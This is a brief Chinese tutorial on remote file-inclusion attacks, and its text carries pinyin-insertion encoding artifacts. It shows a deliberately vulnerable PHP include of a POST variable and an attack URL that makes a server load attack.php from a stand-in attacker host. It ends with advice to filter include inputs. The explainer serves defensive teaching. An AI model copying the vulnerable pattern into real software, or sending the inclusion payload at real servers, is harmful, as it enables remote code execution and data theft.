* 惡意代碼執(zhí)行攻擊利用的重點(diǎn)是web開發(fā)中引用變量做為程序執(zhí)行的一部分代碼
* 惡意代碼執(zhí)行攻擊的技術(shù)重點(diǎn)在于讓服務(wù)器執(zhí)行了惡意代碼,從而完成入侵或數(shù)據(jù)盜取等行為
* 惡意代碼執(zhí)行攻擊的方法重點(diǎn)在于Web開發(fā)中,對變量的引用的幾個關(guān)鍵部位沒有細(xì)化處理
本文主要介紹惡意代碼執(zhí)行攻擊的過程而不是技術(shù)細(xì)節(jié)。
先看一段php代碼的例子:
$report = $_POST['file']; //定義report變量某個表單變量
include $report; //在代碼中包含此變量
如果攻擊者巧妙的利用這個漏洞,就可以令被攻擊服務(wù)器執(zhí)行自己的惡意程序,類似的語法:
http://www.tester.com/index.php?file=http://www.hacker.com/attack.php
這時,程序就會讀取惡意的attack.php并引入到index.php中做為執(zhí)行的一個部分!
此類攻擊對于腳本類網(wǎng)頁代碼最有效。
在編寫代碼時,尤其是利用以下的函數(shù)引用代碼片段時:
PHP:include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet:java.io.File(), java.io.FileReader(), ...
ASP:include file, include virtual, ...
應(yīng)該對所引用的內(nèi)容做安全的過濾!